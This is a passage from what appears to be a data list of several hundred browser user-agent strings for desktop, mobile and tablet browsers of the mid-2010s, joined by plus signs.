AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALC; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/33.0.0.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G900A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0) +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (X11; CrOS x86_64 7077.111.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.18.US Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:QUALIFIED) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0 +Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/44.0.2403.89 Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MDDRJS) +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (X11; Linux x86_64; U; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6946.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; GIL 3.5; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-V410/V41010d Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.1 Safari/534.34 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; USPortal; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; SMJB; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E) +Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (X11; FC Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0 +Mozilla/5.0 (X11; CrOS armv7l 7262.52.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.86 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASAJS; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10532 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSE; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Linux; Android 4.4.2; SM-T320 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020c Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/7.0.55539 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12F69 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFTHWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-P600 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6812.88.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.153 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16 +Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900V 4G Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E; GWX:QUALIFIED) +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; GT-P5210 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDSJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; QTAQZ3 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; QMV7B Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NISSC; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.71 (KHTML, like Gecko) Version/7.0 Safari/537.71 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; MALC; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MSBrowserIE; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SM-N910V 4G Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.0; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T700 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG-SM-N910A Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; CrOS x86_64 7077.95.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 